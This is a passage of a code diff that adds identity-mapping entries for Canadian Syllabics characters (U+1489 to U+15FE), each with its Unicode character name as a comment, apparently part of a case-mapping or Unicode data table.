+ ["\u1489", "\u1489"], /* CANADIAN SYLLABICS CE */
+ ["\u148A", "\u148A"], /* CANADIAN SYLLABICS CAAI */
+ ["\u148B", "\u148B"], /* CANADIAN SYLLABICS CI */
+ ["\u148C", "\u148C"], /* CANADIAN SYLLABICS CII */
+ ["\u148D", "\u148D"], /* CANADIAN SYLLABICS CO */
+ ["\u148E", "\u148E"], /* CANADIAN SYLLABICS COO */
+ ["\u148F", "\u148F"], /* CANADIAN SYLLABICS Y-CREE COO */
+ ["\u1490", "\u1490"], /* CANADIAN SYLLABICS CA */
+ ["\u1491", "\u1491"], /* CANADIAN SYLLABICS CAA */
+ ["\u1492", "\u1492"], /* CANADIAN SYLLABICS CWE */
+ ["\u1493", "\u1493"], /* CANADIAN SYLLABICS WEST-CREE CWE */
+ ["\u1494", "\u1494"], /* CANADIAN SYLLABICS CWI */
+ ["\u1495", "\u1495"], /* CANADIAN SYLLABICS WEST-CREE CWI */
+ ["\u1496", "\u1496"], /* CANADIAN SYLLABICS CWII */
+ ["\u1497", "\u1497"], /* CANADIAN SYLLABICS WEST-CREE CWII */
+ ["\u1498", "\u1498"], /* CANADIAN SYLLABICS CWO */
+ ["\u1499", "\u1499"], /* CANADIAN SYLLABICS WEST-CREE CWO */
+ ["\u149A", "\u149A"], /* CANADIAN SYLLABICS CWOO */
+ ["\u149B", "\u149B"], /* CANADIAN SYLLABICS WEST-CREE CWOO */
+ ["\u149C", "\u149C"], /* CANADIAN SYLLABICS CWA */
+ ["\u149D", "\u149D"], /* CANADIAN SYLLABICS WEST-CREE CWA */
+ ["\u149E", "\u149E"], /* CANADIAN SYLLABICS CWAA */
+ ["\u149F", "\u149F"], /* CANADIAN SYLLABICS WEST-CREE CWAA */
+ ["\u14A0", "\u14A0"], /* CANADIAN SYLLABICS NASKAPI CWAA */
+ ["\u14A1", "\u14A1"], /* CANADIAN SYLLABICS C */
+ ["\u14A2", "\u14A2"], /* CANADIAN SYLLABICS SAYISI TH */
+ ["\u14A3", "\u14A3"], /* CANADIAN SYLLABICS ME */
+ ["\u14A4", "\u14A4"], /* CANADIAN SYLLABICS MAAI */
+ ["\u14A5", "\u14A5"], /* CANADIAN SYLLABICS MI */
+ ["\u14A6", "\u14A6"], /* CANADIAN SYLLABICS MII */
+ ["\u14A7", "\u14A7"], /* CANADIAN SYLLABICS MO */
+ ["\u14A8", "\u14A8"], /* CANADIAN SYLLABICS MOO */
+ ["\u14A9", "\u14A9"], /* CANADIAN SYLLABICS Y-CREE MOO */
+ ["\u14AA", "\u14AA"], /* CANADIAN SYLLABICS MA */
+ ["\u14AB", "\u14AB"], /* CANADIAN SYLLABICS MAA */
+ ["\u14AC", "\u14AC"], /* CANADIAN SYLLABICS MWE */
+ ["\u14AD", "\u14AD"], /* CANADIAN SYLLABICS WEST-CREE MWE */
+ ["\u14AE", "\u14AE"], /* CANADIAN SYLLABICS MWI */
+ ["\u14AF", "\u14AF"], /* CANADIAN SYLLABICS WEST-CREE MWI */
+ ["\u14B0", "\u14B0"], /* CANADIAN SYLLABICS MWII */
+ ["\u14B1", "\u14B1"], /* CANADIAN SYLLABICS WEST-CREE MWII */
+ ["\u14B2", "\u14B2"], /* CANADIAN SYLLABICS MWO */
+ ["\u14B3", "\u14B3"], /* CANADIAN SYLLABICS WEST-CREE MWO */
+ ["\u14B4", "\u14B4"], /* CANADIAN SYLLABICS MWOO */
+ ["\u14B5", "\u14B5"], /* CANADIAN SYLLABICS WEST-CREE MWOO */
+ ["\u14B6", "\u14B6"], /* CANADIAN SYLLABICS MWA */
+ ["\u14B7", "\u14B7"], /* CANADIAN SYLLABICS WEST-CREE MWA */
+ ["\u14B8", "\u14B8"], /* CANADIAN SYLLABICS MWAA */
+ ["\u14B9", "\u14B9"], /* CANADIAN SYLLABICS WEST-CREE MWAA */
+ ["\u14BA", "\u14BA"], /* CANADIAN SYLLABICS NASKAPI MWAA */
+ ["\u14BB", "\u14BB"], /* CANADIAN SYLLABICS M */
+ ["\u14BC", "\u14BC"], /* CANADIAN SYLLABICS WEST-CREE M */
+ ["\u14BD", "\u14BD"], /* CANADIAN SYLLABICS MH */
+ ["\u14BE", "\u14BE"], /* CANADIAN SYLLABICS ATHAPASCAN M */
+ ["\u14BF", "\u14BF"], /* CANADIAN SYLLABICS SAYISI M */
+ ["\u14C0", "\u14C0"], /* CANADIAN SYLLABICS NE */
+ ["\u14C1", "\u14C1"], /* CANADIAN SYLLABICS NAAI */
+ ["\u14C2", "\u14C2"], /* CANADIAN SYLLABICS NI */
+ ["\u14C3", "\u14C3"], /* CANADIAN SYLLABICS NII */
+ ["\u14C4", "\u14C4"], /* CANADIAN SYLLABICS NO */
+ ["\u14C5", "\u14C5"], /* CANADIAN SYLLABICS NOO */
+ ["\u14C6", "\u14C6"], /* CANADIAN SYLLABICS Y-CREE NOO */
+ ["\u14C7", "\u14C7"], /* CANADIAN SYLLABICS NA */
+ ["\u14C8", "\u14C8"], /* CANADIAN SYLLABICS NAA */
+ ["\u14C9", "\u14C9"], /* CANADIAN SYLLABICS NWE */
+ ["\u14CA", "\u14CA"], /* CANADIAN SYLLABICS WEST-CREE NWE */
+ ["\u14CB", "\u14CB"], /* CANADIAN SYLLABICS NWA */
+ ["\u14CC", "\u14CC"], /* CANADIAN SYLLABICS WEST-CREE NWA */
+ ["\u14CD", "\u14CD"], /* CANADIAN SYLLABICS NWAA */
+ ["\u14CE", "\u14CE"], /* CANADIAN SYLLABICS WEST-CREE NWAA */
+ ["\u14CF", "\u14CF"], /* CANADIAN SYLLABICS NASKAPI NWAA */
+ ["\u14D0", "\u14D0"], /* CANADIAN SYLLABICS N */
+ ["\u14D1", "\u14D1"], /* CANADIAN SYLLABICS CARRIER NG */
+ ["\u14D2", "\u14D2"], /* CANADIAN SYLLABICS NH */
+ ["\u14D3", "\u14D3"], /* CANADIAN SYLLABICS LE */
+ ["\u14D4", "\u14D4"], /* CANADIAN SYLLABICS LAAI */
+ ["\u14D5", "\u14D5"], /* CANADIAN SYLLABICS LI */
+ ["\u14D6", "\u14D6"], /* CANADIAN SYLLABICS LII */
+ ["\u14D7", "\u14D7"], /* CANADIAN SYLLABICS LO */
+ ["\u14D8", "\u14D8"], /* CANADIAN SYLLABICS LOO */
+ ["\u14D9", "\u14D9"], /* CANADIAN SYLLABICS Y-CREE LOO */
+ ["\u14DA", "\u14DA"], /* CANADIAN SYLLABICS LA */
+ ["\u14DB", "\u14DB"], /* CANADIAN SYLLABICS LAA */
+ ["\u14DC", "\u14DC"], /* CANADIAN SYLLABICS LWE */
+ ["\u14DD", "\u14DD"], /* CANADIAN SYLLABICS WEST-CREE LWE */
+ ["\u14DE", "\u14DE"], /* CANADIAN SYLLABICS LWI */
+ ["\u14DF", "\u14DF"], /* CANADIAN SYLLABICS WEST-CREE LWI */
+ ["\u14E0", "\u14E0"], /* CANADIAN SYLLABICS LWII */
+ ["\u14E1", "\u14E1"], /* CANADIAN SYLLABICS WEST-CREE LWII */
+ ["\u14E2", "\u14E2"], /* CANADIAN SYLLABICS LWO */
+ ["\u14E3", "\u14E3"], /* CANADIAN SYLLABICS WEST-CREE LWO */
+ ["\u14E4", "\u14E4"], /* CANADIAN SYLLABICS LWOO */
+ ["\u14E5", "\u14E5"], /* CANADIAN SYLLABICS WEST-CREE LWOO */
+ ["\u14E6", "\u14E6"], /* CANADIAN SYLLABICS LWA */
+ ["\u14E7", "\u14E7"], /* CANADIAN SYLLABICS WEST-CREE LWA */
+ ["\u14E8", "\u14E8"], /* CANADIAN SYLLABICS LWAA */
+ ["\u14E9", "\u14E9"], /* CANADIAN SYLLABICS WEST-CREE LWAA */
+ ["\u14EA", "\u14EA"], /* CANADIAN SYLLABICS L */
+ ["\u14EB", "\u14EB"], /* CANADIAN SYLLABICS WEST-CREE L */
+ ["\u14EC", "\u14EC"], /* CANADIAN SYLLABICS MEDIAL L */
+ ["\u14ED", "\u14ED"], /* CANADIAN SYLLABICS SE */
+ ["\u14EE", "\u14EE"], /* CANADIAN SYLLABICS SAAI */
+ ["\u14EF", "\u14EF"], /* CANADIAN SYLLABICS SI */
+ ["\u14F0", "\u14F0"], /* CANADIAN SYLLABICS SII */
+ ["\u14F1", "\u14F1"], /* CANADIAN SYLLABICS SO */
+ ["\u14F2", "\u14F2"], /* CANADIAN SYLLABICS SOO */
+ ["\u14F3", "\u14F3"], /* CANADIAN SYLLABICS Y-CREE SOO */
+ ["\u14F4", "\u14F4"], /* CANADIAN SYLLABICS SA */
+ ["\u14F5", "\u14F5"], /* CANADIAN SYLLABICS SAA */
+ ["\u14F6", "\u14F6"], /* CANADIAN SYLLABICS SWE */
+ ["\u14F7", "\u14F7"], /* CANADIAN SYLLABICS WEST-CREE SWE */
+ ["\u14F8", "\u14F8"], /* CANADIAN SYLLABICS SWI */
+ ["\u14F9", "\u14F9"], /* CANADIAN SYLLABICS WEST-CREE SWI */
+ ["\u14FA", "\u14FA"], /* CANADIAN SYLLABICS SWII */
+ ["\u14FB", "\u14FB"], /* CANADIAN SYLLABICS WEST-CREE SWII */
+ ["\u14FC", "\u14FC"], /* CANADIAN SYLLABICS SWO */
+ ["\u14FD", "\u14FD"], /* CANADIAN SYLLABICS WEST-CREE SWO */
+ ["\u14FE", "\u14FE"], /* CANADIAN SYLLABICS SWOO */
+ ["\u14FF", "\u14FF"], /* CANADIAN SYLLABICS WEST-CREE SWOO */
+ ["\u1500", "\u1500"], /* CANADIAN SYLLABICS SWA */
+ ["\u1501", "\u1501"], /* CANADIAN SYLLABICS WEST-CREE SWA */
+ ["\u1502", "\u1502"], /* CANADIAN SYLLABICS SWAA */
+ ["\u1503", "\u1503"], /* CANADIAN SYLLABICS WEST-CREE SWAA */
+ ["\u1504", "\u1504"], /* CANADIAN SYLLABICS NASKAPI SWAA */
+ ["\u1505", "\u1505"], /* CANADIAN SYLLABICS S */
+ ["\u1506", "\u1506"], /* CANADIAN SYLLABICS ATHAPASCAN S */
+ ["\u1507", "\u1507"], /* CANADIAN SYLLABICS SW */
+ ["\u1508", "\u1508"], /* CANADIAN SYLLABICS BLACKFOOT S */
+ ["\u1509", "\u1509"], /* CANADIAN SYLLABICS MOOSE-CREE SK */
+ ["\u150A", "\u150A"], /* CANADIAN SYLLABICS NASKAPI SKW */
+ ["\u150B", "\u150B"], /* CANADIAN SYLLABICS NASKAPI S-W */
+ ["\u150C", "\u150C"], /* CANADIAN SYLLABICS NASKAPI SPWA */
+ ["\u150D", "\u150D"], /* CANADIAN SYLLABICS NASKAPI STWA */
+ ["\u150E", "\u150E"], /* CANADIAN SYLLABICS NASKAPI SKWA */
+ ["\u150F", "\u150F"], /* CANADIAN SYLLABICS NASKAPI SCWA */
+ ["\u1510", "\u1510"], /* CANADIAN SYLLABICS SHE */
+ ["\u1511", "\u1511"], /* CANADIAN SYLLABICS SHI */
+ ["\u1512", "\u1512"], /* CANADIAN SYLLABICS SHII */
+ ["\u1513", "\u1513"], /* CANADIAN SYLLABICS SHO */
+ ["\u1514", "\u1514"], /* CANADIAN SYLLABICS SHOO */
+ ["\u1515", "\u1515"], /* CANADIAN SYLLABICS SHA */
+ ["\u1516", "\u1516"], /* CANADIAN SYLLABICS SHAA */
+ ["\u1517", "\u1517"], /* CANADIAN SYLLABICS SHWE */
+ ["\u1518", "\u1518"], /* CANADIAN SYLLABICS WEST-CREE SHWE */
+ ["\u1519", "\u1519"], /* CANADIAN SYLLABICS SHWI */
+ ["\u151A", "\u151A"], /* CANADIAN SYLLABICS WEST-CREE SHWI */
+ ["\u151B", "\u151B"], /* CANADIAN SYLLABICS SHWII */
+ ["\u151C", "\u151C"], /* CANADIAN SYLLABICS WEST-CREE SHWII */
+ ["\u151D", "\u151D"], /* CANADIAN SYLLABICS SHWO */
+ ["\u151E", "\u151E"], /* CANADIAN SYLLABICS WEST-CREE SHWO */
+ ["\u151F", "\u151F"], /* CANADIAN SYLLABICS SHWOO */
+ ["\u1520", "\u1520"], /* CANADIAN SYLLABICS WEST-CREE SHWOO */
+ ["\u1521", "\u1521"], /* CANADIAN SYLLABICS SHWA */
+ ["\u1522", "\u1522"], /* CANADIAN SYLLABICS WEST-CREE SHWA */
+ ["\u1523", "\u1523"], /* CANADIAN SYLLABICS SHWAA */
+ ["\u1524", "\u1524"], /* CANADIAN SYLLABICS WEST-CREE SHWAA */
+ ["\u1525", "\u1525"], /* CANADIAN SYLLABICS SH */
+ ["\u1526", "\u1526"], /* CANADIAN SYLLABICS YE */
+ ["\u1527", "\u1527"], /* CANADIAN SYLLABICS YAAI */
+ ["\u1528", "\u1528"], /* CANADIAN SYLLABICS YI */
+ ["\u1529", "\u1529"], /* CANADIAN SYLLABICS YII */
+ ["\u152A", "\u152A"], /* CANADIAN SYLLABICS YO */
+ ["\u152B", "\u152B"], /* CANADIAN SYLLABICS YOO */
+ ["\u152C", "\u152C"], /* CANADIAN SYLLABICS Y-CREE YOO */
+ ["\u152D", "\u152D"], /* CANADIAN SYLLABICS YA */
+ ["\u152E", "\u152E"], /* CANADIAN SYLLABICS YAA */
+ ["\u152F", "\u152F"], /* CANADIAN SYLLABICS YWE */
+ ["\u1530", "\u1530"], /* CANADIAN SYLLABICS WEST-CREE YWE */
+ ["\u1531", "\u1531"], /* CANADIAN SYLLABICS YWI */
+ ["\u1532", "\u1532"], /* CANADIAN SYLLABICS WEST-CREE YWI */
+ ["\u1533", "\u1533"], /* CANADIAN SYLLABICS YWII */
+ ["\u1534", "\u1534"], /* CANADIAN SYLLABICS WEST-CREE YWII */
+ ["\u1535", "\u1535"], /* CANADIAN SYLLABICS YWO */
+ ["\u1536", "\u1536"], /* CANADIAN SYLLABICS WEST-CREE YWO */
+ ["\u1537", "\u1537"], /* CANADIAN SYLLABICS YWOO */
+ ["\u1538", "\u1538"], /* CANADIAN SYLLABICS WEST-CREE YWOO */
+ ["\u1539", "\u1539"], /* CANADIAN SYLLABICS YWA */
+ ["\u153A", "\u153A"], /* CANADIAN SYLLABICS WEST-CREE YWA */
+ ["\u153B", "\u153B"], /* CANADIAN SYLLABICS YWAA */
+ ["\u153C", "\u153C"], /* CANADIAN SYLLABICS WEST-CREE YWAA */
+ ["\u153D", "\u153D"], /* CANADIAN SYLLABICS NASKAPI YWAA */
+ ["\u153E", "\u153E"], /* CANADIAN SYLLABICS Y */
+ ["\u153F", "\u153F"], /* CANADIAN SYLLABICS BIBLE-CREE Y */
+ ["\u1540", "\u1540"], /* CANADIAN SYLLABICS WEST-CREE Y */
+ ["\u1541", "\u1541"], /* CANADIAN SYLLABICS SAYISI YI */
+ ["\u1542", "\u1542"], /* CANADIAN SYLLABICS RE */
+ ["\u1543", "\u1543"], /* CANADIAN SYLLABICS R-CREE RE */
+ ["\u1544", "\u1544"], /* CANADIAN SYLLABICS WEST-CREE LE */
+ ["\u1545", "\u1545"], /* CANADIAN SYLLABICS RAAI */
+ ["\u1546", "\u1546"], /* CANADIAN SYLLABICS RI */
+ ["\u1547", "\u1547"], /* CANADIAN SYLLABICS RII */
+ ["\u1548", "\u1548"], /* CANADIAN SYLLABICS RO */
+ ["\u1549", "\u1549"], /* CANADIAN SYLLABICS ROO */
+ ["\u154A", "\u154A"], /* CANADIAN SYLLABICS WEST-CREE LO */
+ ["\u154B", "\u154B"], /* CANADIAN SYLLABICS RA */
+ ["\u154C", "\u154C"], /* CANADIAN SYLLABICS RAA */
+ ["\u154D", "\u154D"], /* CANADIAN SYLLABICS WEST-CREE LA */
+ ["\u154E", "\u154E"], /* CANADIAN SYLLABICS RWAA */
+ ["\u154F", "\u154F"], /* CANADIAN SYLLABICS WEST-CREE RWAA */
+ ["\u1550", "\u1550"], /* CANADIAN SYLLABICS R */
+ ["\u1551", "\u1551"], /* CANADIAN SYLLABICS WEST-CREE R */
+ ["\u1552", "\u1552"], /* CANADIAN SYLLABICS MEDIAL R */
+ ["\u1553", "\u1553"], /* CANADIAN SYLLABICS FE */
+ ["\u1554", "\u1554"], /* CANADIAN SYLLABICS FAAI */
+ ["\u1555", "\u1555"], /* CANADIAN SYLLABICS FI */
+ ["\u1556", "\u1556"], /* CANADIAN SYLLABICS FII */
+ ["\u1557", "\u1557"], /* CANADIAN SYLLABICS FO */
+ ["\u1558", "\u1558"], /* CANADIAN SYLLABICS FOO */
+ ["\u1559", "\u1559"], /* CANADIAN SYLLABICS FA */
+ ["\u155A", "\u155A"], /* CANADIAN SYLLABICS FAA */
+ ["\u155B", "\u155B"], /* CANADIAN SYLLABICS FWAA */
+ ["\u155C", "\u155C"], /* CANADIAN SYLLABICS WEST-CREE FWAA */
+ ["\u155D", "\u155D"], /* CANADIAN SYLLABICS F */
+ ["\u155E", "\u155E"], /* CANADIAN SYLLABICS THE */
+ ["\u155F", "\u155F"], /* CANADIAN SYLLABICS N-CREE THE */
+ ["\u1560", "\u1560"], /* CANADIAN SYLLABICS THI */
+ ["\u1561", "\u1561"], /* CANADIAN SYLLABICS N-CREE THI */
+ ["\u1562", "\u1562"], /* CANADIAN SYLLABICS THII */
+ ["\u1563", "\u1563"], /* CANADIAN SYLLABICS N-CREE THII */
+ ["\u1564", "\u1564"], /* CANADIAN SYLLABICS THO */
+ ["\u1565", "\u1565"], /* CANADIAN SYLLABICS THOO */
+ ["\u1566", "\u1566"], /* CANADIAN SYLLABICS THA */
+ ["\u1567", "\u1567"], /* CANADIAN SYLLABICS THAA */
+ ["\u1568", "\u1568"], /* CANADIAN SYLLABICS THWAA */
+ ["\u1569", "\u1569"], /* CANADIAN SYLLABICS WEST-CREE THWAA */
+ ["\u156A", "\u156A"], /* CANADIAN SYLLABICS TH */
+ ["\u156B", "\u156B"], /* CANADIAN SYLLABICS TTHE */
+ ["\u156C", "\u156C"], /* CANADIAN SYLLABICS TTHI */
+ ["\u156D", "\u156D"], /* CANADIAN SYLLABICS TTHO */
+ ["\u156E", "\u156E"], /* CANADIAN SYLLABICS TTHA */
+ ["\u156F", "\u156F"], /* CANADIAN SYLLABICS TTH */
+ ["\u1570", "\u1570"], /* CANADIAN SYLLABICS TYE */
+ ["\u1571", "\u1571"], /* CANADIAN SYLLABICS TYI */
+ ["\u1572", "\u1572"], /* CANADIAN SYLLABICS TYO */
+ ["\u1573", "\u1573"], /* CANADIAN SYLLABICS TYA */
+ ["\u1574", "\u1574"], /* CANADIAN SYLLABICS NUNAVIK HE */
+ ["\u1575", "\u1575"], /* CANADIAN SYLLABICS NUNAVIK HI */
+ ["\u1576", "\u1576"], /* CANADIAN SYLLABICS NUNAVIK HII */
+ ["\u1577", "\u1577"], /* CANADIAN SYLLABICS NUNAVIK HO */
+ ["\u1578", "\u1578"], /* CANADIAN SYLLABICS NUNAVIK HOO */
+ ["\u1579", "\u1579"], /* CANADIAN SYLLABICS NUNAVIK HA */
+ ["\u157A", "\u157A"], /* CANADIAN SYLLABICS NUNAVIK HAA */
+ ["\u157B", "\u157B"], /* CANADIAN SYLLABICS NUNAVIK H */
+ ["\u157C", "\u157C"], /* CANADIAN SYLLABICS NUNAVUT H */
+ ["\u157D", "\u157D"], /* CANADIAN SYLLABICS HK */
+ ["\u157E", "\u157E"], /* CANADIAN SYLLABICS QAAI */
+ ["\u157F", "\u157F"], /* CANADIAN SYLLABICS QI */
+ ["\u1580", "\u1580"], /* CANADIAN SYLLABICS QII */
+ ["\u1581", "\u1581"], /* CANADIAN SYLLABICS QO */
+ ["\u1582", "\u1582"], /* CANADIAN SYLLABICS QOO */
+ ["\u1583", "\u1583"], /* CANADIAN SYLLABICS QA */
+ ["\u1584", "\u1584"], /* CANADIAN SYLLABICS QAA */
+ ["\u1585", "\u1585"], /* CANADIAN SYLLABICS Q */
+ ["\u1586", "\u1586"], /* CANADIAN SYLLABICS TLHE */
+ ["\u1587", "\u1587"], /* CANADIAN SYLLABICS TLHI */
+ ["\u1588", "\u1588"], /* CANADIAN SYLLABICS TLHO */
+ ["\u1589", "\u1589"], /* CANADIAN SYLLABICS TLHA */
+ ["\u158A", "\u158A"], /* CANADIAN SYLLABICS WEST-CREE RE */
+ ["\u158B", "\u158B"], /* CANADIAN SYLLABICS WEST-CREE RI */
+ ["\u158C", "\u158C"], /* CANADIAN SYLLABICS WEST-CREE RO */
+ ["\u158D", "\u158D"], /* CANADIAN SYLLABICS WEST-CREE RA */
+ ["\u158E", "\u158E"], /* CANADIAN SYLLABICS NGAAI */
+ ["\u158F", "\u158F"], /* CANADIAN SYLLABICS NGI */
+ ["\u1590", "\u1590"], /* CANADIAN SYLLABICS NGII */
+ ["\u1591", "\u1591"], /* CANADIAN SYLLABICS NGO */
+ ["\u1592", "\u1592"], /* CANADIAN SYLLABICS NGOO */
+ ["\u1593", "\u1593"], /* CANADIAN SYLLABICS NGA */
+ ["\u1594", "\u1594"], /* CANADIAN SYLLABICS NGAA */
+ ["\u1595", "\u1595"], /* CANADIAN SYLLABICS NG */
+ ["\u1596", "\u1596"], /* CANADIAN SYLLABICS NNG */
+ ["\u1597", "\u1597"], /* CANADIAN SYLLABICS SAYISI SHE */
+ ["\u1598", "\u1598"], /* CANADIAN SYLLABICS SAYISI SHI */
+ ["\u1599", "\u1599"], /* CANADIAN SYLLABICS SAYISI SHO */
+ ["\u159A", "\u159A"], /* CANADIAN SYLLABICS SAYISI SHA */
+ ["\u159B", "\u159B"], /* CANADIAN SYLLABICS WOODS-CREE THE */
+ ["\u159C", "\u159C"], /* CANADIAN SYLLABICS WOODS-CREE THI */
+ ["\u159D", "\u159D"], /* CANADIAN SYLLABICS WOODS-CREE THO */
+ ["\u159E", "\u159E"], /* CANADIAN SYLLABICS WOODS-CREE THA */
+ ["\u159F", "\u159F"], /* CANADIAN SYLLABICS WOODS-CREE TH */
+ ["\u15A0", "\u15A0"], /* CANADIAN SYLLABICS LHI */
+ ["\u15A1", "\u15A1"], /* CANADIAN SYLLABICS LHII */
+ ["\u15A2", "\u15A2"], /* CANADIAN SYLLABICS LHO */
+ ["\u15A3", "\u15A3"], /* CANADIAN SYLLABICS LHOO */
+ ["\u15A4", "\u15A4"], /* CANADIAN SYLLABICS LHA */
+ ["\u15A5", "\u15A5"], /* CANADIAN SYLLABICS LHAA */
+ ["\u15A6", "\u15A6"], /* CANADIAN SYLLABICS LH */
+ ["\u15A7", "\u15A7"], /* CANADIAN SYLLABICS TH-CREE THE */
+ ["\u15A8", "\u15A8"], /* CANADIAN SYLLABICS TH-CREE THI */
+ ["\u15A9", "\u15A9"], /* CANADIAN SYLLABICS TH-CREE THII */
+ ["\u15AA", "\u15AA"], /* CANADIAN SYLLABICS TH-CREE THO */
+ ["\u15AB", "\u15AB"], /* CANADIAN SYLLABICS TH-CREE THOO */
+ ["\u15AC", "\u15AC"], /* CANADIAN SYLLABICS TH-CREE THA */
+ ["\u15AD", "\u15AD"], /* CANADIAN SYLLABICS TH-CREE THAA */
+ ["\u15AE", "\u15AE"], /* CANADIAN SYLLABICS TH-CREE TH */
+ ["\u15AF", "\u15AF"], /* CANADIAN SYLLABICS AIVILIK B */
+ ["\u15B0", "\u15B0"], /* CANADIAN SYLLABICS BLACKFOOT E */
+ ["\u15B1", "\u15B1"], /* CANADIAN SYLLABICS BLACKFOOT I */
+ ["\u15B2", "\u15B2"], /* CANADIAN SYLLABICS BLACKFOOT O */
+ ["\u15B3", "\u15B3"], /* CANADIAN SYLLABICS BLACKFOOT A */
+ ["\u15B4", "\u15B4"], /* CANADIAN SYLLABICS BLACKFOOT WE */
+ ["\u15B5", "\u15B5"], /* CANADIAN SYLLABICS BLACKFOOT WI */
+ ["\u15B6", "\u15B6"], /* CANADIAN SYLLABICS BLACKFOOT WO */
+ ["\u15B7", "\u15B7"], /* CANADIAN SYLLABICS BLACKFOOT WA */
+ ["\u15B8", "\u15B8"], /* CANADIAN SYLLABICS BLACKFOOT NE */
+ ["\u15B9", "\u15B9"], /* CANADIAN SYLLABICS BLACKFOOT NI */
+ ["\u15BA", "\u15BA"], /* CANADIAN SYLLABICS BLACKFOOT NO */
+ ["\u15BB", "\u15BB"], /* CANADIAN SYLLABICS BLACKFOOT NA */
+ ["\u15BC", "\u15BC"], /* CANADIAN SYLLABICS BLACKFOOT KE */
+ ["\u15BD", "\u15BD"], /* CANADIAN SYLLABICS BLACKFOOT KI */
+ ["\u15BE", "\u15BE"], /* CANADIAN SYLLABICS BLACKFOOT KO */
+ ["\u15BF", "\u15BF"], /* CANADIAN SYLLABICS BLACKFOOT KA */
+ ["\u15C0", "\u15C0"], /* CANADIAN SYLLABICS SAYISI HE */
+ ["\u15C1", "\u15C1"], /* CANADIAN SYLLABICS SAYISI HI */
+ ["\u15C2", "\u15C2"], /* CANADIAN SYLLABICS SAYISI HO */
+ ["\u15C3", "\u15C3"], /* CANADIAN SYLLABICS SAYISI HA */
+ ["\u15C4", "\u15C4"], /* CANADIAN SYLLABICS CARRIER GHU */
+ ["\u15C5", "\u15C5"], /* CANADIAN SYLLABICS CARRIER GHO */
+ ["\u15C6", "\u15C6"], /* CANADIAN SYLLABICS CARRIER GHE */
+ ["\u15C7", "\u15C7"], /* CANADIAN SYLLABICS CARRIER GHEE */
+ ["\u15C8", "\u15C8"], /* CANADIAN SYLLABICS CARRIER GHI */
+ ["\u15C9", "\u15C9"], /* CANADIAN SYLLABICS CARRIER GHA */
+ ["\u15CA", "\u15CA"], /* CANADIAN SYLLABICS CARRIER RU */
+ ["\u15CB", "\u15CB"], /* CANADIAN SYLLABICS CARRIER RO */
+ ["\u15CC", "\u15CC"], /* CANADIAN SYLLABICS CARRIER RE */
+ ["\u15CD", "\u15CD"], /* CANADIAN SYLLABICS CARRIER REE */
+ ["\u15CE", "\u15CE"], /* CANADIAN SYLLABICS CARRIER RI */
+ ["\u15CF", "\u15CF"], /* CANADIAN SYLLABICS CARRIER RA */
+ ["\u15D0", "\u15D0"], /* CANADIAN SYLLABICS CARRIER WU */
+ ["\u15D1", "\u15D1"], /* CANADIAN SYLLABICS CARRIER WO */
+ ["\u15D2", "\u15D2"], /* CANADIAN SYLLABICS CARRIER WE */
+ ["\u15D3", "\u15D3"], /* CANADIAN SYLLABICS CARRIER WEE */
+ ["\u15D4", "\u15D4"], /* CANADIAN SYLLABICS CARRIER WI */
+ ["\u15D5", "\u15D5"], /* CANADIAN SYLLABICS CARRIER WA */
+ ["\u15D6", "\u15D6"], /* CANADIAN SYLLABICS CARRIER HWU */
+ ["\u15D7", "\u15D7"], /* CANADIAN SYLLABICS CARRIER HWO */
+ ["\u15D8", "\u15D8"], /* CANADIAN SYLLABICS CARRIER HWE */
+ ["\u15D9", "\u15D9"], /* CANADIAN SYLLABICS CARRIER HWEE */
+ ["\u15DA", "\u15DA"], /* CANADIAN SYLLABICS CARRIER HWI */
+ ["\u15DB", "\u15DB"], /* CANADIAN SYLLABICS CARRIER HWA */
+ ["\u15DC", "\u15DC"], /* CANADIAN SYLLABICS CARRIER THU */
+ ["\u15DD", "\u15DD"], /* CANADIAN SYLLABICS CARRIER THO */
+ ["\u15DE", "\u15DE"], /* CANADIAN SYLLABICS CARRIER THE */
+ ["\u15DF", "\u15DF"], /* CANADIAN SYLLABICS CARRIER THEE */
+ ["\u15E0", "\u15E0"], /* CANADIAN SYLLABICS CARRIER THI */
+ ["\u15E1", "\u15E1"], /* CANADIAN SYLLABICS CARRIER THA */
+ ["\u15E2", "\u15E2"], /* CANADIAN SYLLABICS CARRIER TTU */
+ ["\u15E3", "\u15E3"], /* CANADIAN SYLLABICS CARRIER TTO */
+ ["\u15E4", "\u15E4"], /* CANADIAN SYLLABICS CARRIER TTE */
+ ["\u15E5", "\u15E5"], /* CANADIAN SYLLABICS CARRIER TTEE */
+ ["\u15E6", "\u15E6"], /* CANADIAN SYLLABICS CARRIER TTI */
+ ["\u15E7", "\u15E7"], /* CANADIAN SYLLABICS CARRIER TTA */
+ ["\u15E8", "\u15E8"], /* CANADIAN SYLLABICS CARRIER PU */
+ ["\u15E9", "\u15E9"], /* CANADIAN SYLLABICS CARRIER PO */
+ ["\u15EA", "\u15EA"], /* CANADIAN SYLLABICS CARRIER PE */
+ ["\u15EB", "\u15EB"], /* CANADIAN SYLLABICS CARRIER PEE */
+ ["\u15EC", "\u15EC"], /* CANADIAN SYLLABICS CARRIER PI */
+ ["\u15ED", "\u15ED"], /* CANADIAN SYLLABICS CARRIER PA */
+ ["\u15EE", "\u15EE"], /* CANADIAN SYLLABICS CARRIER P */
+ ["\u15EF", "\u15EF"], /* CANADIAN SYLLABICS CARRIER GU */
+ ["\u15F0", "\u15F0"], /* CANADIAN SYLLABICS CARRIER GO */
+ ["\u15F1", "\u15F1"], /* CANADIAN SYLLABICS CARRIER GE */
+ ["\u15F2", "\u15F2"], /* CANADIAN SYLLABICS CARRIER GEE */
+ ["\u15F3", "\u15F3"], /* CANADIAN SYLLABICS CARRIER GI */
+ ["\u15F4", "\u15F4"], /* CANADIAN SYLLABICS CARRIER GA */
+ ["\u15F5", "\u15F5"], /* CANADIAN SYLLABICS CARRIER KHU */
+ ["\u15F6", "\u15F6"], /* CANADIAN SYLLABICS CARRIER KHO */
+ ["\u15F7", "\u15F7"], /* CANADIAN SYLLABICS CARRIER KHE */
+ ["\u15F8", "\u15F8"], /* CANADIAN SYLLABICS CARRIER KHEE */
+ ["\u15F9", "\u15F9"], /* CANADIAN SYLLABICS CARRIER KHI */
+ ["\u15FA", "\u15FA"], /* CANADIAN SYLLABICS CARRIER KHA */
+ ["\u15FB", "\u15FB"], /* CANADIAN SYLLABICS CARRIER KKU */
+ ["\u15FC", "\u15FC"], /* CANADIAN SYLLABICS CARRIER KKO */
+ ["\u15FD", "\u15FD"], /* CANADIAN SYLLABICS CARRIER KKE */
+ ["\u15FE", "\u15FE"], /* CANADIAN SYLLABICS CARRIER KKEE */
